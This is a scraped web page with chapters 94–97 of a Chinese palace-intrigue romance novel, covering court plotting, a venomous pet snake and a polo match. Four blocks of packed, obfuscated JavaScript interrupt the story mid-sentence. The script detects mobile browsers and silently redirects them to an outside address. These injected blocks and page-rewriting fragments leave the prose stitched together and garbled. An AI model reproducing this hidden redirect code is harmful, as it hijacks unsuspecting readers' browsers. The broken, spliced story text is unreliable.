“答应我,别嫁给别的男子,好不好?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620115|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他收紧手臂,将她抱得更紧。 他有想过放手的,每当他一想到,她明媚的笑容对着别的男人绽放,她温柔的眼眸里倒映出别的男人的身影,她会依偎在别的男人的怀抱里,与那人耳鬓厮磨, 他就嫉妒得发狂。 无论前世今生,他都想和她纠缠一辈子。 “等殿下君临天下,这天下的女子都是殿下的,臣女自然也不例外。” 她背对着他,他看不到她的表情,但她这番话,如同定心丸一般,让他心中那隐隐的不安消散了几分。 她是愿意留在他身边的,只不过,她要一个保障。 他的帝王之位便是最好的保障。 他将她的身子转了过来,目光灼灼,认真又专注地看着她: “我答应你,今生一定替你杀了萧修湛。等我成为大邺的新帝,便将你风光迎娶进宫。” “好,我等你。”她笑靥如花。 萧凌川情难自已,低头想吻上她的唇。 她害羞躲避,滚烫的吻落在她颊边。 “殿下,别这样。”她推他,“臣女要回府了。” 他这才恋恋不舍地放开她。 “下次我出宫去找你。” “好。” 他目送她离宫,心口涌起一阵甜蜜。 他们这样,算是约定好未来了吧? 重来一世,他总算有机会弥补前世的遗憾了。 可**,踏出宫门的姜姝宁用帕子擦拭着方才他吻过的脸颊,眼底腾升起一丝厌恶。 帝王的后宫那么大,若萧凌川有天称帝,自然不甘心只有姜瑶真一个女人。 他要她,还可能想要更多的女子。 帝王坐拥天下,想要多几个女人,无可厚非。 他唯一的败笔,便是太早暴露出对她的占有欲。 相当于提前给她敲醒了警钟。 她在心里默默道:大哥,放心,等帮你报了仇,我便会离开,去一个萧凌川永远都找不到的地方。 在此之前,她只能先和萧凌川虚与委蛇。 毕竟,他是目前唯一能帮她将萧修湛置之死地的人。 第94章 见色起意,有利可图 第九十四章见色起意,有利可图 姜姝宁回到相府,姜丞相一见她归来,立刻迎上前,急切地问:“宁儿,四皇子殿下如何说?顾公子西行之事,真与他有关?” “是的,父亲。”姜姝宁深吸一口气,目光沉静如水,“他亲口承认,是他向陛下举荐顾公子随三皇子西行。” 她顿了顿,又道,“父亲,母亲,从今往后,你们不必再为女儿的婚事操心。女儿恐怕……此生无法嫁人,否则,只会连累那些前来求娶的男子。” “这……”姜夫人一脸担忧,“这如何使得?宁儿,你一个女子,岁月漫长,怎能一辈子不成婚?” “是啊,宁儿,若那四皇子殿下当真对你有意,想娶你为妃也未尝不可。他毕竟救过你的命。” 不管外界如何传萧凌川,姜丞相始终对他保留着当初他救了自己女儿、并小心维护女儿声誉的好印象。 “父亲,一个因旁人求娶女儿,便心生怨恨,设计将其置于死地的男人,会是一个值得托付终身的良人吗?”姜姝宁对姜丞相道,“况且,这世上也没人规定,救命之恩应当以身相许。” 姜丞相见她态度如此强硬,只能顺着她道:“既然你心意已决,为父也不便勉强。只是,四皇子殿下因顾公子求娶你而设计西行之事,兹事体大,我们必须守口如瓶,以免被有心人利用,徒增祸端。” “女儿明白。”姜姝宁微微颔首,似是忽然想起什么,转而对姜丞相道,“父亲,如今三皇子殿下凯旋归来,瑶真身为他的未婚妻,却仍被禁足于院中,实在不合情理。不如父亲下令解除她的禁足,也好让她能为三皇子庆贺一番,尽一尽未婚妻的本分。” 那日她在来福酒楼,亲眼撞见萧凌川与姜瑶真私下相会,二人关系显然早已非同寻常。 如今,正是时候让姜瑶真与萧修湛多加接触,说不定她能从萧修湛那里探得什么关键情报,暗中传递给萧凌川,为他的谋划再添一把柴火。 “宁儿言之有理。”姜丞相点头应允,“既如此,我便即刻下令,解了瑶真的禁足。你也早些回房歇息吧,今日想必累了。” “是,父亲。” 前世她曾因姜瑶真能得到萧凌川的偏爱而心生嫉妒。 今日过后,她彻底看轻了萧凌川的真面目。 所谓的爱慕,不过见色起意,再加上有利可图罢了。 呵,男人! —— 朝堂上没了顾御史这个领头羊,御史台最近安静了许多,皇帝耳根子清净了不少,有更多闲情逸致宠幸后宫。 他几乎夜夜宿在香妃的宫里。 三皇子萧修湛剿匪有功,不仅获封瑞王,得封地,其外祖还得了爵位。 萧修湛和熙贵妃沉浸在新得的赏赐中,对凝香的一路高升及得宠并不在意。 作为首位被封为亲王的皇子,萧修湛很快拥有一座坐落于京城繁华街段的华丽府邸。 从前在皇宫内事事掣肘,如今终于有了自己的王府,他自然喜不自胜。 近来几日他都忙于指挥宫人将麟阁宫里用惯了的物件搬出去,送到自己的瑞王府里。 这日,一名身着华贵宫装的女子款款走来。 还未及看清她的容颜,便先闻到她身上那股独特芬芳,似兰似麝,令人心旌摇曳。 宫人们连忙俯身行礼:“见过香妃娘娘!” 凝香嫣然一笑,轻声道:“免礼。” 她自己上前一步,落落大方地跟萧修湛打招呼:“瑞王殿下!” 萧修湛微微眯起眼眸,只觉得眼前这女子竟比从前美上几分,不仅容貌光彩照人,就连身段也比从前妩媚几分。 难道这就是所谓的宏运养人? “香妃娘娘真是跟从前大不相同,本王差点认不出你来了!”萧修湛语气中带着一丝玩味,目光在她身上流连。 “殿下谬赞了!”凝香眼波流转,笑容里带着几分羞怯,“说起来,殿下才是本宫真正的贵人。本宫能有今日这般风光,皆是仰仗殿下的恩泽!” “不敢当。香妃娘娘有今日,也是下了不少苦功夫。”萧修湛意味深长道。 凝香丸有毒,她竟能日日坚持服用,可见为了获得皇帝的盛宠,她牺牲了多少,付出了多少常人难以想象的代价。 这一点,是他的母妃熙贵妃绝对不会做,也不屑去做的。 “下苦功夫也是应当的,毕竟本宫除了陛下的恩宠之外,在这深宫之中,本宫便再无其他仪仗了。” 凝香说完,转身离开,走得很远了,身上那股郁香依然萦绕在鼻息间。 就在这时,皇帝身边的大总管陈顺来了:“瑞王殿下,皇帝有请,请殿下即刻随奴才前往御书房觐见!” 萧修湛不敢怠慢,紧随陈顺的脚步,一路来到御书房。 只见龙案之后,皇帝面沉如水,神色阴郁得仿佛暴风雨前的天空。 “儿臣参见父皇,不知父皇召儿臣前来,有何事吩咐?” 萧修湛恭敬地行礼,心中却隐隐升起一丝不安。 皇帝锐利的目光如寒芒般上下打量着他,仿佛要将他看穿。 “朕听说你此次领兵剿匪,大军几乎毫发无损,然而顾御史的独子顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620116|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亦庭却在匪巢之中丧命。一个手无缚鸡之力的文弱书生,你为何要让他身陷险境,深入匪巢?如今御史台群情激愤,纷纷上奏**于朕,说朕是公报私仇,故意指派顾亦庭随军西行,又暗中授意加害于他!” “这……”萧修湛闻言,连忙跪倒在皇帝面前,额头渗出细密的汗珠。 “父皇明鉴!绝非儿臣有意安排他进入匪巢,实在是这顾亦庭急于求成,一心想要建功立业,故而不顾劝阻,擅自冲入匪巢之中!当时情况紧急,儿臣连阻拦都来不及啊!” “事到如今,你再做这番辩解,又有谁会相信!”皇帝厉声喝道,语气中满是不悦。 “顾亦庭身死,你为何不将他的遗体带回京城?现在御史台那帮老家伙揪住此事不放,非要朕设法寻回顾亦庭的遗骸,好让顾家能够入土为安!朕近日被他们吵得心烦意乱,简直不堪其扰!朕命你即刻派人重返西榆匪巢,务必将顾亦庭的尸首给朕找回来!此事若再办不好,朕绝不轻饶!” 萧修湛听得心惊胆战,冷汗湿透了衣衫。 当初他就是故意不将顾亦庭的尸体带回来的,唯恐带回来让仵作验出其中的端倪,暴露真相。 如今却要他亲自带人去将尸体找回来,这不是为难他吗? “父皇,那日剿匪之战,战况极其惨烈,顾亦庭的尸首恐怕早就被摧残得破烂不堪,面目全非,实在不适合长途跋涉,运回京城啊……” 萧修湛极力辩解,试图推脱。 “朕不管这些,反正这件棘手之事是你一手造成的,你就应当承担一切后果,妥善善后!”皇帝语气冰冷,不容置喙,“顾亦庭之死,归根结底也是你疏于管束,**所致,你理应为自己所犯下的错误负责任!” 萧修湛闻言,心中纵有万般不愿,也只能咬紧牙关,硬着头皮应道:“儿臣遵旨!” 离开御书房后,萧修湛只觉得胸口一阵烦闷,像是燃了一团火,郁结难舒。 他经过一个宫殿,发现有座宫殿匾额上的殿名被改为“芙蓉殿”。 他问宫人:“这芙蓉殿住的是什么人?” “回瑞王殿下,这里住的是香妃娘娘。陛下说香妃娘娘天生丽质,身带异香,那香味如芙蓉般清雅脱俗,故而赐名芙蓉殿!” 萧修湛冷笑一声:“父皇对这香妃还真是上心啊!” 他贵为天子帝又如何? 如今宠爱至极的女人曾经也不过是自己枕边的玩物罢了。 萧修湛想起凝香那张娇艳的面容以及凹凸有致的身段。 他忽然知道,自己胸口这团邪火要如何释放了。 第95章 可防身的宠物 第九十五章可防身的宠物 “殿下……”凝香惊愕不已,她猛地站起身,“你怎么来了?” 萧修湛未让任何宫人通传,便径自走进了她的寝殿,目光肆意地在她身上游走。 “本王想念香妃娘娘,便不请自来了!” 话音刚来,他上前一把搂住她的纤腰,将她拉进自己怀里。 “殿下!你这是做什么!”凝香顿时慌乱起来,下意识地看向寝殿内的宫人,“别这样,宫人在看着呢!若是传出去……” “怕什么,这里的宫人都是我母妃的人。”萧修湛轻咬她的耳畔,声音暧昧,“就算我们在这里做什么出格之事,她们也绝不会说出去半个字!” 凝香一惊。 四皇子果然没猜错,她身边都是眼线。 幸好她足够谨慎,每次与萧凌川见面都是只身前往,未曾携带任何宫人。 否则,她暗中认萧凌川为主子这件事,恐怕早就被熙贵妃和萧修湛察觉了。 她装出委屈无奈的模样:“可臣妾如今已经是陛下的妃子了,是殿下名义上的庶母,殿下这般对臣妾,岂不是犯了祸乱宫闱的大罪?” “是父皇的妃子又如何?”他轻笑一声,语气轻佻放肆,“也改变不了你是本王女人的事实!” 话音刚落,他便不顾她的抗拒,将她打横抱起,大步走向床榻。 宫人们见状,心领神会地纷纷退下,并将寝殿的门关上,把满殿的旖旎春色紧紧地锁在其中…… “荒谬!” 熙贵妃怒不可遏:“那女支子如今已是你父皇后宫的女人,你怎么能和她搅和在一起?你疯了吗?” “母妃这么气做什么?”萧凌川方才在凝香那尝到餍足的滋味,此时只觉得神清气爽,声音也有些慵懒,“反正她宫里的那些人都是母妃的人,不会有人说出去的。” “你……”熙贵妃被他气得胸口闷痛,“本宫真是不明白,那种出身低贱的女支子究竟有什么好?竟能让你们父子俩被迷得神魂颠倒!不过是个伺候人的下作玩意儿,你们就不嫌她脏吗?” “母妃!”萧凌川脸色有些阴沉,“别这么说凝香。她虽是女支子,可儿臣是她第一个男人。当初要不是儿臣冷落了她,老鸨又逼得她走投无路,她也不会被迫入宫委身于父皇。说起来,是儿臣亏欠了她。” “你亏欠她?怎么,你还想弥补?要不,本宫把这贵妃的头衔给她如何?”熙贵妃冷笑道。 见她是真的动怒,萧凌川连忙安抚道:“母妃息怒。她如今不过是儿臣放在父皇身边的一颗棋子,儿臣今日找她欢好,只因在父皇那受了气,拿她泄欲罢了。在儿臣心中,她只是个玩物,母妃又何必将她放在心上?” “你最好只是将她当棋子,当玩物!”熙贵妃咬牙切齿,“否则,本宫定会要了她的命!” “儿臣对天发誓,鱼水之欢不过是驯服她的方式!”萧修湛信誓旦旦道,“从前儿臣就是用这种方式驯服她的。母妃放心,儿臣知道自己在做什么。如今儿臣跟她有了这层关系,更容易拿捏她了,不是吗?” 他凑到熙贵妃耳边,低声道,“她现在身上都是儿臣留下的痕迹,这几日怕是不能伺候父皇了。想必父皇很快就会来找母妃了。” 听到这话,熙贵妃脸上的怒意这才消散。 虽然自己儿子和那女支子搞在一起让她觉得既愤怒又恶心,可一想到可以暂时让皇帝不去哪个**宫里,又觉得这种恶心也不是完全不能忍。 景和宫里,凌风前来禀报。 “殿下,果然不出你所料,三皇子已派人暗中搜寻一具身高体型与顾公子相仿,且胸口中剑身亡的尸体。他还特意交代,一旦找到合适的尸体,便要将其面容彻底毁掉,好让顾家将其当做顾公子安葬!” 萧琪钰脱口而出:“那顾家岂不是要世世代代祭拜一个来历不明的孤魂野鬼?三哥这招偷梁换柱未免也太过歹毒了!” 萧凌川嘴角勾起一抹冰冷的弧度:“螳螂捕蝉,黄雀在后。派人盯紧那个负责寻找尸体的人,一旦有任何发现,立即按照我之前吩咐的去做,务必确保万无一失。”“是,殿下!”凌风领命而去。 萧琪钰好奇地问:“四哥,你打算怎么做?” “我有份大礼要送给三哥。”萧凌川慢条斯理地喝了一口茶,“到时候你知道了!” “四哥,你是会卖关子的!”萧琪钰笑着道,“对了,方才我收到魏国公府送来的请帖,邀请我们前去参加马球赛。四哥,你可要去凑个热闹?” 他口中的魏国公府,正是姑母大长公主的夫家。 魏国公府与相府是世交,大长公主的独子小公爷自小便与相府的两位千金一同长大,与姜瑶真关系尤其好。 “不去!”萧凌川语气冷淡,毫不犹豫地拒绝道,“姑母不过是想借着马球赛的机会,向众人显摆他们的马球场罢了,我去也只是给她充场面,徒增虚荣而已。” “好吧,那真是太可惜了!”萧琪钰故意叹息一声,语气中带着几分惋惜,“听说他们也给相府送了请帖,以姜丞相和魏国公的交情,想必姜姑娘也会应邀前去的。” 听到这话,萧凌川轻咳了一声。 “说起来,我也许久未打马球了。偶尔去放松一下筋骨,也未尝不可。” 萧琪钰忍住笑:“那我就回复魏国公府,说我们都去参加马球赛!” “去吧!”萧凌川神色平静,方法方才出尔反尔的人不是他。 ——

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620117|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 相府也收到了魏国公府送来的马球赛请帖。 姜姝宁对马球赛并不感兴趣,但姜丞相和魏国公从前是同窗,所以这场马球赛姜丞相必然携带家人前往捧场。 她正在找去年新作的那双鹿皮长靴,姜天泽来了。 他提着一个竹编盒子,笑容满面地走了进来:“大姐姐,我来给你送宠物来了!” 姜姝宁这才想起上次去东市,本来想挑选宠物的,后来她只顾着买下浩天,把宠物的事抛之脑后。 “难得你还记得此事。” “那是自然,我说过要赔给大姐姐一只宠物的,自然不会食言。这只宠物是我亲自饲养长大的,你看看喜不喜欢!” 姜姝宁满怀期待地掀开竹编盒子的盖子,不料映入眼帘的竟是一条通体雪白、眼睛血红的小蛇! 它吐着鲜红的信子,在盒子里不安地蠕动着,散发着一丝诡异的气息。 姜姝宁顿时头皮发麻,双目圆睁,用了极大的自制力才没尖叫出声。 “这……这就是你精心饲养长大的宠物?”姜姝宁的声音有些颤抖,浑身汗**倒竖。 她从来不敢将蛇和宠物联系在一起。 “是啊,大姐姐,这小蛇是我亲自从蛋中孵化出来的。你看它,身子洁白如雪,眼睛像红宝石一样晶莹剔透,是不是既漂亮又可爱?” 姜姝宁:“……” 她理解的可爱,跟她的三弟理解的可爱,显然相差甚远。 “这小蛇你还是拿回去吧,我不会养……”姜姝宁说着,伸手准备将竹编盖子盖上,谁知那小蛇竟突然窜出,灵巧地缠上了她的手腕! 微凉而柔软的蛇身紧贴着她的肌肤,带来一种奇异的触感,姜姝宁顿时吓得浑身僵硬,如同被施了定身咒一般,一动也不敢动。 “三、三弟……”她颤声道,“快、快把它弄下来!” 姜天泽手伸手覆上她的手腕,手指看似在安抚小蛇,实际上却似有若无地摩挲着她腕间的肌肤,带着一丝不易察觉的暧昧。 “大姐姐,这小蛇很喜欢你,你就让它待在你身边吧。它很通人性,若是有人胆敢欺负你,它会毫不犹豫地帮你咬坏人!”姜天泽语气温柔,带着一丝诱哄。 “不用了。我有凌芜送我的袖**,可以防身,不怕坏人欺负我!”姜姝宁发现小蛇并没有攻击她的意图,只是温顺地缠绕在她手腕上,似乎对她十分依恋,这才慢慢放松下来。 “那是你尚且神志清醒之时,才能用袖**对付欺负你的人。若有人在你神志不清、毫无防备之时欺负你,你又该如何使用袖**自保呢?”姜天泽一本正经地问。 姜姝宁:“……” 为何她的三弟会有这种奇怪的想法? 第96章 旗开得胜 第九十六章旗开得胜 “若我失去神志,的确没有任何反抗之力。”姜姝宁看着在腕间宛如一个白色玉镯的小蛇,笑道,“只是,这小东西也没什么杀伤力啊。” “大姐姐放心,小白比你想象中厉害。”姜天泽恳求道,“看在它这么乖的份上,你就收了它吧!” 姜姝宁无奈,只能妥协:“既然三弟为了我专程孵化了这条小蛇,我自然不能辜负你的心意。只是,我从未饲养过蛇类,实在没有信心能够将它养好。” “大姐姐放心,你只管收了它,喂养它的事交给我!”姜天泽连忙保证道。 “那好吧。”姜姝宁用指尖轻抚小白蛇的头,喃喃道,“真遇到坏人,你这小东西只管逃命好了,我也不指望你能救我!” 姜天泽目不转睛地看着她与小蛇互动,眼眸深处掠过一丝不易察觉的阴郁。 这小白蛇是他用珍稀罕见的毒物精心饲养长大的,外表看似弱不禁风,人畜无害,实则蕴含着剧烈的毒性。 若是被它咬上一口,若不及时救治,恐怕会当场毙命。 当然,这蛇认主,不会随便伤害他的大姐姐。 但对她意图不轨的人就另当别论了。 他无法时时待在大姐姐身边,就让小白替他护大姐姐周全吧! —— 大长公主的马球场位于京城郊外,占地辽阔,足以容纳数百宾客。 前来观赛的,无一不是朝廷重臣、世家贵族,以及身份显赫的皇亲国戚,他们在雅座上谈笑风生间,尽显尊贵气派。 先帝与当今圣上一样,皇子众多,却只有一位公主,大长公主自小便集万千宠爱于一身,是先帝的掌上明珠。 这马球场,便是当年大长公主与魏国公喜结连理时,先帝所赐的丰厚嫁妆之一。 大长公主自幼便在众星捧月中长大,养成了喜好炫耀的性情,每年都要举办数场盛大的马球赛事,向整个京城展示她的富甲一方,财大气粗。 萧琪钰斜倚在雅座上,忍不住啧啧称叹:“咱们这位姑母还真是家财万贯啊!瞧瞧这马球场,修建得如此金碧辉煌,竟比父皇的避暑山庄还要气派几分!” 萧凌川神色淡淡,不以为然道:“真正富有之人,早已将财富视作寻常之物,自是不屑于炫耀的。” “四哥所言极是。说起来,还是五哥的母族最为低调,那才是真正意义上的富可敌国,却从未见荣贵妃和五哥在外人面前炫耀过半分。” 萧琪钰一边说着,一边在人群中搜寻着萧怀瑾的身影。 他发现萧怀瑾坐于他们前方不远处,而与他并肩而坐的,竟是三皇子萧修湛。 “三哥怎么跟五哥坐在一起?他不会想拉拢五哥吧?” 萧琪钰顿时变得紧张起来。 萧怀瑾的母族崔氏,执掌着大邺王朝的经济命脉,富甲天下,其名下产业遍布大邺各地,足以充盈半数国库,堪称国之钱袋。 若是萧怀瑾转而支持萧修湛,他们夺权的胜算将会大大降低。 萧凌川默不作声,深邃的眼眸中闪过一丝晦暗不明。 他和萧怀瑾是情场上角逐佳人的对手,萧怀瑾怕是无法像前世那样,毫无芥蒂地支持他,助他登上皇位。 在局势尚未明朗之前,他只能选择按兵不动,静观其变。 第一场马球赛,率先上场的是女子。 只见姜瑶真身着一袭红色的骑装,骑着一匹黑色骏马,手持鞠杖,缓缓步入马球场。 她英姿勃发,威风凛凛,尚未开赛,便已吸引了全场所有人的目光。 看台之上的宾客们无不惊叹于她的绝世容颜和曼妙身姿,纷纷赞不绝口。 三皇子萧修湛见自己的未婚妻如此光彩照人,备受瞩目,心中不禁有些得意。 他转过头,对身旁的萧怀瑾道:“五弟,我知道你一直对姜家的嫡长女姜姝宁情有独钟。若是将来你能够得偿所愿,与姜姑娘喜结连理,那么我们便既是兄弟,又是连襟,岂不是亲上加亲?” 萧怀瑾深邃的眼眸中闪过一丝不易察觉的波澜,他抬眼看向萧修湛,语气平静地反问道:“三哥,你到底想说什么?” 萧修湛直截了当道:“我的意思是,若是我们兄弟二人能够联手合作,必能将萧凌川踩在脚下。他一个南月后裔,有什么资格与我争夺皇位?简直就是玷污了我大邺皇室的高贵血统!” 萧怀瑾依旧沉默不语,神色莫测。 萧修湛有些着急,再次抛出了一个极具诱惑力的条件:“只要你同意与我联手,助我登上皇位,那么我便倾尽全力,帮你夺得美人归,如何?” 面对他的再三示好和利诱,萧怀瑾却始终保持着沉默,仿佛充耳不闻一般。 他目不转睛地凝视着马球场,神情专注而认真,似乎对即将开始的马球赛事充满了浓厚的兴趣。 萧修湛自讨没趣,只能悻悻地转过头,将目光重新投向马球场,等待着比赛的开始。 世家贵女中,擅长马球的本就寥寥无几,能与姜瑶真一较高下的,恐怕也只有夏嫣一人。 一场马球赛若仅凭两名女子对垒,未免少了些许趣味。 就在这时,顾晚樱也换上了一身利落的骑装,骑着一匹枣红色的骏马,缓缓来到了场中央。 姜瑶真故作惊讶地掩唇轻笑:“哎呦,真是难得啊!没想到,平日里温婉娴淑的晚樱姐姐,竟然也会打马球!” “我虽不精通此道,但骑马却还算熟练,想来打马球也并非难事。”顾晚樱漫不经心地回应道。 随即,她的目光便径直落在了不远处的姜姝宁身上。 “姜姝宁,我记得你也擅长骑射。不如你也上来一同参与,我们四人正好可以分成两队,一较高下!” “晚樱姐姐,您有所不知,我姐姐向来只精通琴棋书画,对于骑射之事一窍不通,恐怕连鞠杖都未曾碰过。您让她上场打马球,岂不是故意为难她吗?” 姜瑶真表面上是在替姜姝宁推脱,实则借机贬低她。 顾晚樱却充耳未闻,她目不转睛地看着姜姝宁,眼眶微红:“姜姝宁,我们来一场较量吧!若是你能够胜过我,从此以后,我便不再执着于兄长之事,也绝不会再将任何怨恨加诸于你身。” 她并非愚钝之人,又怎会不知晓顾亦庭的死与姜姝宁并无直接关系? 只是,无论导致顾亦庭身亡的幕后真凶是三皇子,亦或是四皇子,以她如今的身份和地位,都根本没有资格去追究真相,为兄长报仇雪恨。 所以,她才将所有的怨恨和不满都宣泄到了姜姝宁的身上,以此来寻求一丝心理上的慰藉。 如今,她迫切地需要一场激烈的角逐,来彻底了结这段恩怨,将强加在姜姝宁身上的所有怨恨都彻底清除,放过自己,也放过她。 姜姝宁知道,她拒绝不了顾晚樱的请求。 “晚樱姑娘稍等片刻,容我去更衣。” 片刻之后,换上了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620118|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一身月白色骑装的姜姝宁重新回到了马球场上。 她骑着一匹棕色马,手持鞠杖,不慌不忙地朝其他三名女子走去。 台下的萧琪钰有些担心地问:“四哥,姜姑娘会打马球吗?待会不会输得很惨吧?” “她不会打,但她有天赋。”萧凌川神色浅淡,“想必很快她便能掌握技巧。” 萧琪钰眼角微抽:“四哥,你的心可真大!” 竟让嫂嫂现学现打! 很快,四位姑娘便分好了队伍,由姜姝宁与夏嫣组成一队,对阵姜瑶真和顾晚樱。 虽然人数不多,但这四位女子皆是京城中声名显赫的贵女,因此,这场比赛吸引了众多看客的目光。 一些人甚至迫不及待地开始下注,赌哪一队能够赢得最终的胜利,现场气氛顿时变得热烈起来。 比赛一开始,四位姑娘的实力便显露出来。 姜姝宁和顾晚樱的骑术虽然精湛,但球技却略显逊色,常常眼睁睁地看着马球从自己的马蹄边溜走,手中的鞠杖形同虚设。 好在夏嫣和姜瑶真都身手不凡,骑术和球技都相当出色,你来我往,互不相让,都设法将马球击入对方的网囊之中。 比赛持续了半柱香的时间,双方依旧势均力敌,难分伯仲。 姜姝宁的脸上已经布满了细密的汗珠,但眉眼之间却多出几分笃定和兴奋的神色。 经过这半柱香时间的摸索和尝试,她逐渐掌握了打马球的诀窍。 前世,萧凌川曾悉心教导她骑术,为她打下了坚实的基础,如今,她只需仔细观察并模仿夏嫣和姜瑶真控球的方式和技巧便可。 很快,一个马球便朝着她的方向滚了过来。 她抓住机会,果断地扬起手中的鞠杖,用尽全身的力气,狠狠地挥向马球。 鞠杖准确无误地击中了马球,只见马球如离弦之箭般飞射而出,径直飞入了对方的网囊之中。 现场顿时爆发出了一阵惊叹声。 要知道,姜姝宁当时所处的位置距离网囊相当遥远,即使是经验丰富的马球高手,也未必能够准确地将球击入网囊中。 可她一个新手却做到了。 夏嫣朝她竖起拇指,姜瑶真则冷哼一声:“瞎猫逮着死老鼠罢了!” 姜姝宁像是突然开窍了一般,自此之后,只要她能触及马球,便能精准地将其击入网囊之中,无一失手。 观众席上,惊叹之声此起彼伏。 此时此刻,她就如一匹横空出世的黑马,成为了全场的焦点。 台下,萧怀瑾的目光始终追随着她的身影,心潮起伏。 就连他身旁的萧修湛的目光也难以从她身上离开。 萧琪钰激动不已:“四哥,你看到没有,嫂嫂太厉害了!” 萧凌川神情波澜不惊,桃花眸里却蓄满笑意。 前世,他就已察觉到姜姝宁惊人的学习天赋,所以才故意逼着她学骑射。 她果然没让他失望。 最终,夏嫣与姜姝宁的队伍旗开得胜,赢得了这场马球赛的胜利。 姜姝宁翻身下马,大步走到顾晚樱面前,笑着道:“晚樱姑娘,胜负已分,你可要言而有信!” 顾晚樱看着她日光下那张被汗水打湿的脸,突然有些替自己的哥哥感到惋惜。 若哥哥还活着就好了,他便能亲眼目睹今日这般光彩照人、熠熠生辉的姜姝宁了。 她可比姜瑶真耀眼多了。 第97章 爱而不得之苦 第九十七章爱而不得之苦 “我顾晚樱言出必行,从此绝不再将兄长之死归咎于你!”顾晚樱说着,翻身下马,凑到姜姝宁耳边,用两人才听到的声音道,“只是,四皇子的妒意,你当真能承受得住吗?” 姜姝宁眉心一跳。 她深知萧凌川的占有欲有多可怕。 他如潜伏在暗夜中的凶猛野兽,一旦察觉到谁对她稍有觊觎之心,便会毫不犹豫地扑上前去,不死不休。 若非萧怀瑾对他尚有利用价值,恐怕早已惨遭他的毒手。 这样的他,她怎么可能承受得住? “晚樱姑娘难道有办法帮我摆脱这困境?”姜姝宁试探着问道。 “自然!”顾晚樱道,“稍后更衣完毕,来寻我一聚,我邀你品茗!” 姜姝宁微微颔首,心中虽未抱太大希望,但仍愿一探究竟,看看顾晚樱是否真有助她脱困的妙计。 就在她准备离开马球场之际,不经意间抬眸,恰好撞进萧凌川那双深邃如潭的桃花眼中,顿时感到一阵毛骨悚然。 那种感觉,就像猎物察觉到自己被猛兽锁定,只想立刻逃离。 姜姝宁更衣完毕,正欲前往顾晚樱所在的雅座,却见夏嫣朝她款款走来:“你要去找顾晚樱?我也一同前往!” “这……”姜姝宁略显迟疑,顾晚樱要与她商议之事,未必愿意让夏嫣旁听。 “我只是放心不下你。前些日子,顾晚樱还带着家仆去你们相府门前**,我实在不信她会突然转性,与你交好!若是她敢对你不利,休怪我对她不客气!” 夏嫣说着,紧握拳头,一副义愤填膺的模样。 姜姝宁忍俊不禁,心中涌起一股暖意:“既然你如此担忧我,那便一同前往吧!”两人步入大长公主特意为顾家准备的雅座,只见接连雅间竟空无一人,唯有顾晚樱孤身端坐其中。 想必是她的父母仍沉浸在丧子之痛中,无心出席这场马球盛会。 顾晚樱见姜姝宁身旁跟着夏嫣,连忙道:“夏姑娘,可否请你暂且回避片刻?我有些私密话,想与姜姑娘单独倾谈。” 夏嫣善解人意,并未强求,寻了一处既能照应,又听不到她们谈话的角落静静等候。 姜姝宁在顾晚樱身旁落座,开门见山地问道:“不知晚樱姑娘有何妙计,能助我摆脱困境?” “姜姑娘与五皇子情投意合,想必早已迫不及待地想要挣脱四皇子的束缚,对吧?”顾晚樱目光灼灼,紧盯着姜姝宁,语气坚定,“眼下,你唯有一条路可走,那便是与我联手,共同对抗四皇子!” “与你联手?” “不错,我身后有太子殿下,以及我的姑母皇后娘娘。”顾晚樱声音里带着自信,“我们顾家虽算不上显赫,但作为太子殿下的母族,地位稳固。太子殿下是大邺未来的储君,这是铁打的事实,无人能够撼动!只要我的父亲尚在人世,他便绝不会允许东宫易主!待我们合力铲除那些觊觎储君之位、整日蝇营狗苟之辈,你便可与五皇子终成眷属!” 姜姝宁静静地注视着顾晚樱,目光深邃。 “你这般看着我作甚?”顾晚樱眉头微蹙。 “没什么,我只是觉得,晚樱姑娘似乎与之前判若两人。”姜姝宁顿了顿,补充道,“变得有些……雄心勃勃,令人刮目相看。” 